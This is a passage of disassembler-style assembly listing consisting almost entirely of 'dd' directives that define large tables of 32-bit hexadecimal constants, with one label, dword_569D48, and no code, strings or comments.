		dd 0A8F2CCA2h, 0FB6C60Fh, 3E18E087h, 17D6DFh, 35925AE9h
		dd 0A9094738h, 0F60F1601h, 5E63232Dh, 2E5C15DCh, 762CFF9h
		dd 24FF94h, 0D785A1D1h,	860E84FEh, 80EFB153h, 0A8C113BBh
		dd 957CC1EAh, 3D679483h, 81203F58h, 0D22B9D86h,	0EE706611h
		dd 1EDB061h, 1DAA07E1h,	0CCA70ED5h, 0D10012D3h,	58D7FC5h
		dd 3C29121h, 327CD893h,	33E0FF8Ah, 75012FC7h, 7471940Ah
		dd 0B6F01A2Dh, 8EA30027h, 0D54BB8EBh, 0CF075CC0h, 0AB20B1AAh
		dd 1C6815C1h, 71910EEFh, 95C09FEDh, 8E7ABBB4h, 832839h
		dd 52745DF8h, 92C45372h, 0F9D9009Ch, 27138DEEh,	0A3748FF8h
		dd 298E8A01h, 7714225Bh, 13575020h, 1FC7DA11h, 0AD0F00B8h
		dd 0B498F332h, 0FEDD972Fh, 4F650051h, 89F62AF2h, 72001677h
		dd 4BFDFB31h, 944887h, 0CA63908Eh, 6C8A1E18h, 0B1EF5330h
		dd 11AB28Fh, 0FAACC03Eh, 0E39A254Dh, 1991A060h,	0C1F2AF81h
		dd 0CDF30970h, 0E273E840h, 2D6540C5h, 0E38D540Fh, 289F784h
		dd 0CC8F9338h, 1080135Bh, 3F81AAF1h, 4F1B8B00h,	0ED517E70h
		dd 0B57328h, 0FAD78820h, 300112BFh, 8007503Bh, 0D83A5C38h
		dd 17FB5Ah, 0A2F3C8C4h
		dd 0D10C90E7h, 5BAA3000h, 49C52A1Ah, 88810013h,	0A1F1A85Dh
		dd 593D1421h, 25FB0084h, 32E9EBC5h, 0F8DF1C63h,	0D8C700C1h
		dd 0B0358350h, 0FB3019B8h, 153C5CACh, 82A60040h, 0A0BA0F3Bh
		dd 0D0008538h, 17EEA80Dh, 782B27ACh, 0D1FB4C2Eh, 0F281A20Eh
		dd 0F6A9B983h, 2948ADD0h, 47981400h, 0F158F7C0h, 2870B7Ah
		dd 9820B2A5h, 922520D0h, 288B8E00h, 7A3B57C0h, 48994DBFh
		dd 25397E00h, 0DB6E2FF7h, 0A0C411Ch, 0A8718D03h, 7414F191h
		dd 1711C8C0h, 13B81D4h,	0DBCE68E0h, 73D6E0D3h, 0F6DC871Ch
		dd 0D456957Eh, 5D5C00F4h, 82904D1Ah, 63071E1Bh,	47183AD2h
		dd 57CA20D7h, 0FD003DF0h, 56DEB70Bh, 12FEFC1h, 8B054DBCh
		dd 68FAEE8Dh, 0D2760304h, 0C8715965h, 0E2E09AFEh, 191A05BFh
		dd 40106AE7h, 0EF909EF8h, 9C0F9DAAh, 2239534Eh,	0DAF78A73h
		dd 80789E34h, 7F411CE1h, 0CC00CB39h, 1EFBDD87h,	1E60F375h
		dd 0B334FC42h, 6990F781h, 5E00E376h, 0BFDD8325h, 0E8564789h
		dd 80862E36h, 20590026h, 0EB950BBEh, 0B593D30Ah, 2F00CA14h
		dd 4A371A89h, 0A8270018h, 455BCD36h, 6A00CE7Bh,	78CF2485h
		dd 0F20F9659h, 4D9200B3h, 2CFA0989h, 0A201E8C2h, 0B159B020h
		dd 30806B6Fh, 6C5FBD17h, 0BB074829h, 90CE2EA4h,	75C064CEh
		dd 90D55083h, 560A87h, 43DA50B2h, 8F6E356Dh, 5CC5C400h
		dd 0A3A0B31Bh, 0F84CFED0h, 0C6073043h, 9DAFFB18h, 0F0CB311Dh
		dd 3C546B40h, 0E058D44Ah, 80706006h, 1F6E3BCEh,	61E0A800h
		dd 0EE93073Eh, 743D3E32h, 39E91870h, 9852886h, 0FD367A00h
		dd 30401690h, 9D100E1Dh, 0E0203914h, 0ADFCF4ECh, 2F3B900h
		dd 248C1ABDh, 0CA7045h,	0F19B50F9h, 0ACD3D028h,	77982350h
		dd 0B1000EE6h, 2D48C4E1h, 39211F58h, 17803601h,	0FA40BDB6h
		dd 0B2FECB37h, 0E500CDF8h, 0C4EDC673h, 3E78266h, 0A9F75960h
		dd 7BE8E9C9h, 0CA00EAF4h, 0B8E52CF9h, 66C5D2h, 6ECBF7F6h
		dd 61F0B5DCh, 0C9BB6D1Eh, 54774200h, 729EBCEh, 40C53F6Fh
		dd 0BC4A435Eh, 227F2000h, 0B1049553h, 0D2EB18E5h, 0AB2150B2h
		dd 7E43CF00h, 5259E0B5h, 6222384Bh, 0C6E758E3h,	0D8396100h
		dd 8C2494B7h, 28471ECFh, 60C7417Eh, 0EC05F751h,	7B0CB0D3h
		dd 413EB489h, 2DC300E9h, 4EEEE595h, 473A4D98h, 8975184Fh
		dd 32CA620h, 0E846372Eh, 8C88409h, 2400DCF0h, 0DF4E59D2h
		dd 9A4204h, 4CEF6D22h, 0AE5A48E2h, 96D850A0h, 395C7400h
		dd 0C27D19Bh, 0B5EA0206h, 0EB32F5EEh, 0F4C5AC80h, 0F00ECC60h
		dd 67B25B8Ah, 3CF0AC09h, 0E48D819h, 3E259CE5h, 186F4020h
		dd 723ADAABh, 0B80F0042h, 17934ED0h, 10B7110h, 0ADD83019h
		dd 0DC2A6D23h, 2100889Eh, 0B565D372h, 0F894CA83h, 100B00EAh
		dd 24FB9CF8h, 0AF0038CDh, 0D21507ECh, 396B2AE5h, 0BD80282Dh
		dd 5CF04A16h, 8D01E974h, 49F9C659h, 21F42BDBh, 78A60179h
		dd 69A40F18h, 60D4E8E9h, 0B03F6E8h, 512047DEh, 2296E0FFh
		dd 0F5C53E28h, 0D018675Ch, 1F9F188Ch, 52581200h, 1408365h
		dd 2A730F08h, 56C01471h, 5806CED2h, 0A1872F00h,	18F052E2h
		dd 0DA71032Bh, 0E825D79Eh, 79332900h, 0A216493Dh, 4E970EDCh
		dd 368CDE61h, 0E200D260h, 41843DD5h, 303E5D2Dh,	0DF70598Fh
		dd 0FE26E9FAh, 45004F65h, 0F81A5AFh, 96473076h,	263304C8h
		dd 4A1E1300h, 58B10CEFh, 3AAF0071h, 0C2632CC1h,	68004D08h
		dd 9E7BD90Bh, 1D11F05Dh, 42461560h, 12AC69Bh, 0C0721740h
		dd 9D47B00h, 5561885Ch,	36A007A2h, 0F72D33h, 0B3CD76E4h
		dd 780739h, 98F5CF68h, 318CBC9h, 37692E34h, 3391841Ah
		dd 40C02AE5h, 0A8DA14h,	62E3F58Fh, 97F9B119h, 80995D3Ch
		dd 0D154D8Ah, 3E7BCA14h, 0A805AAEh, 0F69F5BDAh,	0B9F46B02h
		dd 147D1039h, 0AF5453h,	81B75577h, 0A13A12h, 0F9678A50h
		dd 0E3C4BA63h, 18569203h, 703031A4h, 62440748h,	9083E812h
		dd 0E2D0CDD6h, 94465D00h, 0A081B693h, 2C8E0074h, 6AC2A244h
		dd 1207DA15h, 75265611h, 37FEE4C0h, 380CF676h, 9600E2F6h
		dd 0AAA6A4A5h, 2C393A73h, 77FA00D7h, 14A03729h,	0E8D7AD3h
		dd 0E4B9C6E3h, 3B88F240h, 0BF000DC9h, 0CF498ADEh, 0E67D25h
		dd 2179DD3h, 886EB623h,	3303C475h, 9FDDD2ACh, 74510147h
		dd 38722409h, 0EAC0EF68h, 7A019AD0h, 0DD9026A3h, 0B980C411h
		dd 2E18053Bh, 0FA0AC2D4h, 98FDEF78h, 82351704h,	634DB280h
		dd 25D93290h, 0D1C3F7FCh, 0FA8A6B0h, 0AB292C03h, 0D031C559h
		dd 1C84E701h, 0BBD4CC5Eh, 0E450A680h, 6908AB1Fh, 0AAD1450Eh
		dd 767AC0C1h, 9EFA02h, 0B0C7A9B6h, 0AE6E8085h, 0E9000975h
		dd 0FB8AB55Bh, 1A77CC0h, 5250B60Ah, 0D037A3E3h,	0CC60ACD2h
		dd 98948660h, 1ABA00A1h, 0A3A961DCh, 3A3062B7h,	2C2320CAh
		dd 7A1F0099h, 0C5EFD3CDh, 0FE0055F0h, 6A0A64A5h, 3D1BC911h
		dd 29005C8Dh, 9F73284Bh, 4A07A127h, 0C2168551h,	0E3635550h
		dd 222B0584h, 80DDB88Ch, 11F539C5h, 54CF6F06h, 38F160CCh
		dd 2C80B535h, 0AF065368h, 11743BE4h, 7854B230h,	0BA6C16h
		dd 0A823E7FBh, 208EE348h, 417CDA30h, 1F5D19D5h,	8024828Fh
		dd 67D31C46h, 96007CDBh, 878D84FBh, 0D5A54Fh, 98ED2FACh
		dd 260FD376h, 8B25030h,	11FC67h, 0D6483BD5h, 5433C8E3h
		dd 0E4F9BB00h, 62EA02FAh, 9840FD2h, 403D8661h, 0CF5F9257h
		dd 7A1F03FEh, 69802D99h, 0C0FFC20Fh, 0A75C00D7h, 4FDC202Eh
		dd 9E1DD232h, 0EE5DDE12h, 182C940h, 7D303Fh, 3E9BAA0Eh
		dd 9D810869h, 99C4C603h, 0D0DD6C2Ch, 0F1D0A9D4h, 7BADCCh
		dd 6B7798B4h, 89AFE053h, 3796E400h, 0C74EAB7Dh,	0F6CD6330h
		dd 14A89F64h, 0B9E642BFh, 470095F6h, 9D53AFC4h,	1094D8h
		dd 580BD04Ah, 0A5B34830h, 6140A900h, 20CFAE45h,	7E680632h
		dd 10B0BB99h, 0A804BA52h, 0CAFD1F61h, 0F66E0E9Ah, 0EDE76240h
		dd 0E9015F3Fh, 0CE497778h, 8D8F3BFh, 383E7BF7h,	6387A24Eh
		dd 10265DFCh, 9E8D55F8h, 0D4E35F00h, 3AE9A7DCh,	51B20098h
		dd 5B3FBEF6h, 0CA008AA0h, 0A742958Dh, 0C0AA55h,	9E841F13h
		dd 69997B59h, 8E5EB500h, 94D50E9Bh, 0AB57009Ch,	79C78C33h
		dd 19012771h, 45F51103h, 0EBE4E47Fh, 399069h, 27EDB86Fh
		dd 0D9E52999h, 0ADCF4C00h, 4684C5A5h, 70FCE548h, 8C003DEh
		dd 0C1382192h, 0CD6065FAh, 230EEC53h, 4E4EBB8Ah, 333A60A1h
		dd 0A384CAh, 3FDD8943h,	7725387Bh, 687C600h, 10A515FFh
		dd 71B41FCAh, 0F3C00046h, 0F8D88C79h, 0BC13C91Fh, 1F4F49C0h
		dd 64B88Bh, 0F7ADFA07h,	54E6BDB4h, 0DD6F7C00h, 0C27BF126h
		dd 0B0C607DAh, 531A1DEFh, 98B0BAEAh, 0B81F71DDh, 9440D9F6h
		dd 2C24E74Dh, 62DCA8A3h, 663D07ADh, 7083B3A2h, 0CAC4E928h
		dd 0F907691Dh, 4F226740h, 32A3EDh, 7DD1109Ch, 0D47662A7h
		dd 0EF98B20Bh, 5C290042h, 9E9F4BFh, 81B9581Dh, 7C4E0A80h
		dd 0C000BA0Ah, 0EBA161BDh, 5665E70h, 16FE09E5h,	7C7580B4h
		dd 280745ACh, 8790BFB9h, 0EFB6EE0h, 9E0D034Ch, 0AD5E6FBBh
		dd 8F6AB9D8h, 9D69A10Eh, 7843A0FBh, 0BE530Eh, 21E6687Fh
		dd 421EE4C1h, 0A288E31Eh, 0EA443A82h, 3CF2809Ch, 3FB5C9h
		dd 51DA95EEh, 62EB9A7h,	173FBE7Bh, 467400A9h, 50275E7Eh
		dd 0FCB238ECh, 7C21B48Eh, 700EC4A9h, 0FF9E7920h, 0F6986ACCh
		dd 8B01023Eh, 80F75DBCh, 0E10AECE4h, 2DAB003Ah,	480DA5FDh
		dd 0B700D577h, 96376B80h
dword_569D48	dd 0F2041302h, 0CFB10067h, 8C9F3F07h, 6671C1F3h, 0F7CE9300h
		dd 0B7021278h, 0C578DFh, 1099EED7h, 8B348303h, 0D81DF401h
		dd 0B287B601h, 3298520h, 0FC742578h, 0A8A986FDh, 0C1A8F7B1h
		dd 1800663Ch, 71FF0F3Bh, 3E54AD20h, 780069C6h, 0B1E48A13h
		dd 0BC0014A6h, 507E44B6h, 0B2FDDEh, 3F0B3799h, 0B9E25A7Dh
		dd 47DB3600h, 32117B06h, 97EE64h, 2F2B79B0h, 68776ED5h
		dd 1C20D0C0h, 0E1F6754h, 0D757B864h, 53803047h,	489022B4h
		dd 821E8BEBh, 1C0A9AEh,	0A0AF1938h, 5C860010h, 37A1F09Eh
		dd 1107F21Ch, 7D635F27h, 5B16B9C0h, 0D2230086h,	1A48CDCFh
		dd 504AA779h, 6057D4C2h, 0E7291Bh, 609D9720h, 5840DB1Bh
		dd 5C58400h, 7D7A0FFCh,	33780027h, 6C98C363h, 0E00BD15h
		dd 0D3BA2D10h, 1E71D11h, 0C2902104h, 0FCE8EA33h, 0F800022Ch
		dd 0AA4C085Bh, 0B24034h, 453C2D03h, 33778DD8h, 0F6571501h
		dd 5426A727h, 0E264D230h, 839C00BDh, 5802B3E8h,	0A800C8DEh
		dd 5C91BE47h, 63A75Bh, 3523AF8Dh, 0B234D180h, 0F8A50850h
		dd 456C2F01h, 87F163BDh, 0E7CA2F4h, 0A76ABA21h,	202017AEh
		dd 9FE9C85Bh, 55FC339h,	31395115h, 0DD2B8800h, 0E41260E7h
		dd 0B87AA1h, 0BFD3EA95h, 0A2FB4ACCh, 247C0207h,	6BF3BBC4h
		dd 0EB60D8E4h, 4DB40031h, 0C7A643FBh, 84020D44h, 0F4F36FCCh
		dd 68CBE236h, 0BFC1Ch, 0AF4C258Bh, 4F9E973Fh, 0EC1CEF7Ch
		dd 60932B45h, 0CBF13800h, 49567Ch, 0D214F9Dh, 3BD8F883h
		dd 0AE004AEEh, 0BA36756Ch, 0B5E65h, 5819F6E2h, 3930CFB3h
		dd 375ACE00h, 224B992h,	64150738h, 6332B675h, 0F58AFF8Ch
		dd 79F638C0h, 0C9697B00h, 0C8D4F43h, 0D780C03Fh, 4567301Eh
		dd 5CCC1700h, 66799A47h, 782B090h, 3DE6D70Dh, 68BBF0FBh
		dd 0CC01C1EDh, 5ECB67E4h, 1880F544h, 13AFBA01h,	4E008491h
		dd 66E64008h, 0C5EB03h,	46D7126h, 0C233B694h, 0A521BB03h
		dd 802E3EF8h, 0ED9725h,	2B5F0D29h, 75E172B2h, 0BAACD300h
		dd 923FFF4Ah, 1EF99290h, 0D3A4EA37h, 7F78006Ch,	0C88BBC3Ah
		dd 0F6907000h, 3674BD3Bh, 0DC690012h, 9AB06184h, 5B7D94E9h
		dd 49B44600h, 6FF015ABh, 129800E6h, 0B717F2DDh,	750078A2h
		dd 26AC32C9h, 0E4A15Dh,	3FE1CB74h, 113924Bh, 0EE77221Dh
		dd 26304280h, 0E09B9A94h, 65D20228h, 95446B69h,	0D31D9CC0h
		dd 0B51D17F6h, 244F992Ah, 8C46E0A2h, 0FEADD9A6h, 0A7101E5Eh
		dd 6DFCC0EDh, 74F79E75h, 0F5F30600h, 2F3B87DFh,	0D343004Eh
		dd 447C7273h, 607C94FAh, 900045F6h, 0DC6B7DC0h,	0FFC771h
		dd 8FA1CE8Eh, 0BCEF5939h, 960E28E4h, 61EEECA2h,	3D9E52CDh
		dd 482085CDh, 613B0002h, 99305C5Fh, 6300A449h, 0DD05B398h
		dd 0A91C29h, 0FB8020E9h, 31C33E18h, 7A4A3801h, 0E2790F85h
		dd 0E45269ECh, 22ED00DBh, 4BA7757h, 0B500068Dh,	0C4D4EBF0h
		dd 0FC527E4h, 0BC9868B0h, 36357940h, 800F4A2h, 49A7B956h
		dd 38896A12h, 8F007F21h, 6EBA1953h, 8461E1E6h, 6342E7A8h
		dd 3B0E420h, 0CA363304h, 6CA8E2EFh, 3DEA7A40h, 72115800h
		dd 2F45EE34h, 0A8DD1204h, 81BC0F3Fh, 1B480260h,	0B005A233h
		dd 0A9A19216h, 6F3E080h, 478F005Fh, 16E0FD2h, 0FD0BEEEDh
		dd 203C3D2Dh, 0A79DF934h, 0BD30C09Ah, 14105BBEh, 315EC303h
		dd 61F941FDh, 0A1FB21A6h, 8B3980A4h, 3EDDAAF3h,	807A1C57h
		dd 9DF2C044h, 70355276h, 48033376h, 0BFBA0B4Bh,	0A8FE83C6h
		dd 783B89Eh, 0F6A723DDh, 0E8E030E6h, 581F565Fh,	807AD9FCh
		dd 7429B7D8h, 0A0574E20h, 8D328Ch, 27B6E496h, 8CD11EFEh
		dd 0BB6CDA0Ah, 4800EB0Eh, 409B06A1h, 3C150391h,	20ABA5AEh
		dd 0F2C12990h, 0B5E3F401h, 0E06FACC0h, 538798FBh, 8EEE77h
		dd 9CEEDC3Eh, 0E9900B1Fh, 0DBE80C00h, 2298C58h,	2EDE72CAh
		dd 4C2D1B6h, 0BF0B91D7h, 4020B400h, 73E67EDh, 0D9C3AD69h
		dd 2A2C91B0h, 577FE05Fh, 9171B31Dh, 0DA3EA2C0h,	679E59h
		dd 0FE82733Ch, 5AAA39AEh, 0A6F17B03h, 0C1DB66EDh, 0B640D613h
		dd 2D6002h, 61298B92h, 0E8F4B59Bh, 5578BD00h, 0DC09D0F6h
		dd 2FF7003Ch, 36EC16C3h, 7D01C56Ah, 5122F914h, 0FF4096DEh
		dd 8FF809h, 2128125Bh, 0A735E50Ah, 0B54251Eh, 0D080C552h
		dd 0E296321Dh, 1E4D095Ch, 0FC45C4F2h, 130817DBh, 376C40D8h
		dd 0C7F7035Ch, 0DC246100h, 66724479h, 73E1FCDDh, 7B191ECBh
		dd 0DF5E0906h, 0A8627C01h, 0E42988DAh, 46958854h, 3E2CBB84h
		dd 44DBCC04h, 0E9485B3Bh, 28DE0143h, 1014D051h,	11B84309h
		dd 0BA0035EDh, 62631473h, 8040AB54h, 814044FFh,	20171A44h
		dd 0D81032DAh, 98287A0Dh, 2528C8AAh, 417C2C41h,	46024407h
		dd 2251383Ch, 0F67C36F9h, 11C029C4h, 82C8F440h,	3D22CC57h
		dd 84423319h, 511EC479h, 90C08E96h, 0C88D1C80h,	5C8C0217h
		dd 50D8191h, 7B4983F5h,	9F8FD092h, 23CD03A9h, 97539CE7h
		dd 5BF0C0DCh, 0BF129BB5h, 0F300F12Bh, 3FCF4E8Ch, 27060053h
		dd 0DA86608Eh, 6F00EA5Bh, 0F3E0C10h, 99C7C41h, 6CDC7D14h
		dd 70927780h, 0FB00A8F9h, 0B53543FDh, 7A5EEh, 194B01D1h
		dd 0F489CB45h, 34ACB41Ch, 1ABFDC00h, 13C84E6Dh,	0E21DDBh
		dd 9211D641h, 0EB009553h, 7A870A5Ch, 7F25A9h, 0E7D92726h
		dd 0E237B610h, 3693CD02h, 605C7C29h, 1E6DBAB0h,	0C051417Bh
		dd 0E5DD6520h, 0BF003E31h, 0BE3DEDB4h, 7F09D4h,	0B7DA5C74h
		dd 7304D080h, 4398CC00h, 0EDAC8912h, 7B8524BEh,	52A4005Ch
		dd 8C6B0A9Bh, 474760E7h, 95B5300h, 189539E1h, 60C10AE2h
		dd 0FCFDDFh, 0D3717AB7h, 5E006C8Ch, 0B3AAA241h,	2DB96Eh
		dd 0B8496AEh, 0B82B9F51h, 4C0F49EAh, 0E0618139h, 0E420B33Bh
		dd 0F6710741h, 53D7101Fh, 0A1F0F34Ah, 0B9ECD185h, 0ECDEB52Eh
		dd 0FDB43E00h, 54F636h,	0E25A64FAh, 502A9129h, 779BFF00h
		dd 0DC4A88EDh, 3C0602D7h, 0EA938A34h, 4B19C040h, 33A23500h
		dd 6030D127h, 0F43E00EEh, 0B571CAB6h, 66008E3Ch, 0E8F3EA3Ah
		dd 0E8604B9h, 0E0FFA3B3h, 0EE94660h, 0FD00CBE2h, 27D75E6Bh
		dd 329F08h, 0A014D0EDh,	0A7BC22D6h, 1CF49150h, 0D7A20400h
		dd 936A8324h, 19DA0012h, 38EA1809h, 0E51D06BDh,	807B3ECDh
		dd 0C3562970h, 0EACA4C1h, 4A995A14h, 5D1A31E0h,	0A21C7024h
		dd 39C07343h, 4571DD8Dh, 3DD3074Dh, 9E6231F2h, 0E0A03FEFh
		dd 5153DC7Ah, 965F0E00h, 3860074Eh, 3B8E5h, 27B2422Dh
		dd 2C08FFE7h, 0BE7B9818h, 961F010h, 6D43C3F5h, 0C15F0401h
		dd 5A1B007Ah, 210A059Ah, 0C00207DCh, 8E6511F6h,	0A7153Ch
		dd 9DD6BF70h, 84C9E2h, 0A3D3F9A8h, 92940881h, 0C80044B8h
		dd 6CB7C4DAh, 8350E1h, 3FC1E797h, 0A5AAA939h, 0CD23FC0Bh
		dd 0F44A8058h, 357AC99h, 0CA7C132Dh, 358812E9h,	620005ABh
		dd 407D479h, 2665EEh, 95C36811h, 43E16DFEh, 6E557E00h
		dd 59525B44h, 0EDCF2EE0h, 3DEF0050h, 29FA66Ah, 7E0091F2h
		dd 25BD0310h, 3B28E16h,	1CFE55A2h, 0C898075Eh, 0A51C69F8h
		dd 15C01491h, 0AF1FCC9h, 0E5F00Ch, 0E725CD9Ch, 0B16A0BECh
		dd 5439C600h, 682D0E78h, 194100E5h, 0A25AD655h,	0A512B501h
		dd 0A42053F1h, 0E378371h, 133226A9h, 3BEA2800h,	0F500DE59h
		dd 0A1272A24h, 3A9A6A74h, 68809C5Bh, 0AF0D0819h, 300073C3h
		dd 0F277DE93h, 0A0494DA9h, 783DFDh, 0C3E5E2B1h,	0B4EBE0CDh
		dd 0B988B700h, 431C99ABh
		dd 496000A7h, 3C750A29h, 0A50005BDh, 0CE843EF3h, 7643D3h
		dd 98D1C1BCh, 9D4DE3D0h, 0FCD12B51h, 61004F7Ah,	55EBCCC4h
		dd 10DFC4Eh, 0AC3A18A2h, 0F59992DCh, 44BBE094h,	0D19AB538h
		dd 97CEE4B2h, 5800647Dh, 0B4F5051Dh, 0B8DD1Ah, 0D9480391h
		dd 57F87570h, 96A3F400h, 2B5BC97Eh, 8E0D0473h, 9020871Ch
		dd 0EC54B99Ch, 22F75300h, 2421B1D4h, 0FC555C97h, 0D2B4A700h
		dd 87D1088h, 0DD923Dh, 51C7DFCDh, 8AC482h, 0F9BF2BDCh
		dd 3979B421h, 1784300h,	0A2C71375h, 0BE5F1E8Dh,	974C03DBh
		dd 24889BF5h, 740BB253h, 401EA89Eh, 663714h, 19236D8Ah
		dd 0F2B88F07h, 25E72C38h, 0D0540080h, 46725Ch, 0AD45AFC7h
		dd 5A3A3C68h, 8F017500h, 0D6F157C5h, 3672C9h, 22F6CA40h
		dd 9E204203h, 390E32Eh,	0F0275800h, 2554C671h, 8802010Ch
		dd 0E8646232h, 0DB486609h, 0CBEC8031h, 4273F2h,	9534E05Dh
		dd 0B53B9DCAh, 624EE500h, 0E7BF576Ah, 0CB680055h, 0F6F2781Bh
		dd 297B8DC1h, 2C394D00h, 346009A8h, 7B79007Dh, 282DA123h
		dd 9890E576h, 3C579328h, 0D28BBFA0h, 483D160Bh,	281D004Eh
		dd 3E1117E5h, 8C80A08Ah, 0D5DF1451h, 0B10F0199h, 0C02F9769h
		dd 0B67346FCh, 0D6403817h, 40A79A9Eh, 57C01998h, 0ED0058DBh
		dd 0FF3F56F4h, 0EBC8DE5h, 76AA732h, 7C776360h, 65002538h
		dd 0AF56B594h, 72EDDAA3h, 0D5703C5h, 0B8260278h, 0D40C7BA8h
		dd 0C1B08E00h, 9F847348h, 0D8450E14h, 6BC0ABA8h, 27EF9AA6h
		dd 11BC0C00h, 0B9CB3CBEh, 72470044h, 912CC390h,	6F756340h
		dd 0D60F3616h, 0FD7600Bh, 34FCA076h, 6814B5h, 0F89D3556h
		dd 0D97DA04Fh, 89C8DE00h, 0E3454A3Ah, 0CC994C06h, 0AEE21A03h
		dd 4D88E574h, 511E4ECCh, 0A7C00A2Bh, 0CE0B1741h, 378007ECh
		dd 0F0C596E3h, 93FAD05h, 98434E00h, 23A1448Fh, 7C704C7Bh
		dd 0AAA0FF00h, 0D81F5DF5h, 3F00DE79h, 0C53A5036h, 7D9D5C7Ah
		dd 0DB900010h, 0C9DD2877h, 0DAB02181h, 807FF73Ah, 38CD3B66h
		dd 0B6C989Eh, 0AA5694B6h, 0E093B387h, 0CB1E3C17h, 0BF954100h
		dd 63DFC7Fh, 462D00D7h,	8547C307h, 0AB010371h, 1963335Ch
		dd 0C29FDD2Bh, 72DBC33Fh, 0C0A58CA5h, 159C3424h, 0BD485A17h
		dd 81DAA700h, 0CB8D25h,	3887B8A2h, 21B57F36h, 0DFC92F00h
		dd 2B56CF84h, 3E78055Ch, 4F162Eh, 51905798h, 9A7835C4h
		dd 818A4001h, 25832E78h, 7614CCh, 22260BF0h, 97EF3080h
		dd 3F5C6D79h, 8BC20095h, 9B4BE4A1h, 2CE80066h, 22BE5572h
		dd 1707565Ch, 0F48D7553h, 33944ED0h, 0FACF0025h, 0BDB6DA7Fh
		dd 7A00EFD9h, 0A0ECB98Dh, 22E1E18h, 8466ED9Eh, 88C0ACAEh
		dd 6500480Eh, 0B15BC487h, 1D6E63FFh, 0C05FE3F1h, 94A74414h
		dd 2300893Dh, 74390BEh,	0E381242h, 2069B635h, 36E8C340h
		dd 8F00C9ACh, 3184D3B1h, 7B3FEDh, 8CA41093h, 0F7CA369h
		dd 0AB71DE00h, 0D179D61Eh, 274032Ch, 7795EA4Eh,	0AAA4E8D8h
		dd 0A705BB15h, 3C202ECCh, 89C3A601h, 6AE81752h,	8B3B0042h
		dd 0CB113C25h, 9200BA20h, 4F9DA795h, 39F87CEFh,	7A00553Dh
		dd 5DF69FE1h, 2C7FD24Eh, 0B4006B73h, 0EB53028Eh, 5E5E4351h
		dd 86D401C4h, 0F4CBA6DCh, 44748D4Ch, 14962A00h,	0BD8A87F2h
		dd 9CFE0093h, 0B0C677E9h, 200FA8Dh, 0C9D44789h,	3EC8EF0Bh
		dd 0F1805E8Ah, 8B83C4ACh, 9B00773Eh, 6286C398h,	0DB2C03h
		dd 5B85CD7h, 5F2166FCh,	937E1773h, 18078212h, 0D3AC4300h
		dd 48FBFF79h, 840010A2h, 9302B836h, 0A0A0104Bh,	924C8ADBh
		dd 0FB017E95h, 724EC22Ch, 7AD49FACh, 0EDD20071h, 0B1670B19h
		dd 1A003745h, 40854CA3h, 0FD84C0D1h, 0ADC32483h, 7BE06159h
		dd 8902CA91h, 7AB96A26h, 1784F836h, 49DC7D96h, 62808C0Ch
		dd 2CB6397Bh, 9D69900h,	0DB2B343Dh, 380E0010h, 97CF933Bh
		dd 0E100C9DEh, 0D312AEAFh, 7E163Ah, 3142A6Bh, 0B4F0EC59h
		dd 4FBD5800h, 4313201Fh, 0A5B000C5h, 81894E21h,	0B50370FBh
		dd 0B901B13Ch, 7CB6E8C1h, 0E51203A9h, 0A35FEB3h, 0D46CBB99h
		dd 0FB0102A3h, 596D9F1Ch, 54E4285Ch, 7A0B018Ch,	0ECCD7484h
		dd 0C146E994h, 60A849FCh, 0D300C3A5h, 0ED532FE7h, 5A8F41h
		dd 75F9F5Dh, 0A8C4E85Bh, 3186A0A8h, 362E1100h, 1D666DABh
		dd 0FDFB00ECh, 0C4A12CFEh, 1200C7E5h, 0E64BEF51h, 79850Ah
		dd 0B45FC295h, 22A17C28h, 96FE3F1Fh, 1F19CF87h,	0BF39406Eh
		dd 0E3CBAA7h, 874EFA62h, 6D0D80E0h, 16B2D291h, 0A4F7EE02h
		dd 606F5AE3h, 0B0C6BA44h, 95D60FF1h, 0F42B1489h, 2B130401h
		dd 45BBF888h, 43FCCD50h, 0B479530Fh, 56C181F1h,	71F424E9h
		dd 7AC000FCh, 509EE3BDh, 4900396Dh, 0AA98D226h,	2E93F996h
		dd 671C22h, 78B216C1h, 95E54Eh,	0FA22430h, 0C8174860h
		dd 3EAF3800h, 9599CBBCh, 6F5E7D00h, 0A7080DF0h,	25730171h
		dd 0A2502736h, 1317C0F9h, 2E62C2Dh, 0F08F3FE4h,	50A000E4h
		dd 825DFDEFh, 5E5C6570h, 97BB00CAh, 79345FB1h, 0BD89F236h
		dd 7B95600h, 0FD00F7DFh, 1AB01899h, 8CDD3h, 4AF0A72h, 0BDF3478Ah
		dd 0D535F700h, 67075805h, 48850081h, 0CB1FF957h, 6A00DCE7h
		dd 9B5C534Eh, 1DE3D9BBh, 7F0D337Ch, 0BD613280h,	0A3DB8E30h
		dd 22F420E5h, 5800374Bh, 53F42F64h, 13BD0151h, 5F81D603h
		dd 63E4DC3Ch, 0A69D1B00h, 6B87C941h, 6D3E0133h,	5619EBA0h
		dd 940E2B83h, 0E563E2DAh, 0A9A24197h, 1A12420h,	0DE0A1747h
		dd 0E9E73530h, 0E0E3D027h, 0A4299F00h, 0D48526CCh, 4AD30718h
		dd 508E8492h, 3F602E52h, 0CAB65303h, 0E9092082h, 23CCE080h
		dd 297700D1h, 0C8B15E70h, 6901DD46h, 0ACDBF474h, 0D1204548h
		dd 0D4B00084h, 0DF2E014Eh, 7606EBE5h, 24638290h, 99EA0098h
		dd 0FD2C51Bh, 0D7005D2Ah, 0F3CB223Eh, 24133376h, 71547DAh
		dd 0D05211B1h, 8B143604h, 90D3B750h, 4915EE0Dh,	4D6031AAh
		dd 0ECE40E85h, 1760E0D7h, 0C0510C97h, 0D6ACD216h, 107A2C80h
		dd 0DEDF01AAh, 1C642CF8h, 66CCE0A1h, 67D67D0Fh,	2E0DE04Bh
		dd 772C776h, 0ACE4C9A8h, 3127300Ch, 0B303AFADh,	2DC65963h
		dd 0E95BE145h, 6F44C0F6h, 8E6607F1h, 80FBC360h,	7FD37370h
		dd 82069A00h, 6F44EFCAh, 4C36003Eh, 0C6C24AC0h,	70257749h
		dd 7F74989Ah, 63417A7h,	0D8C4096h, 0A22A5450h, 8B20A90Bh
		dd 0D9D8C8DAh, 5CC30036h, 83CCBF70h, 0EB78F17Ch, 0FF0FB774h
		dd 0F2B580C1h, 6043080Bh, 49E6C0h, 716AD894h, 0CDE339BBh
		dd 17E88095h, 72F3CABh,	5C6004ECh, 8DCED01Dh, 3A009445h
		dd 0D28B139Eh, 2E43AFAEh, 6CAAFDh, 95E60834h, 0A300B512h
		dd 46CFF3DDh, 17E864CBh, 34B13Fh, 0CEA6242Eh, 2006727h
		dd 5B1BD565h, 1C50635Ch, 0C0B56A1Ch, 0C3EA38C5h, 0CCB887C8h
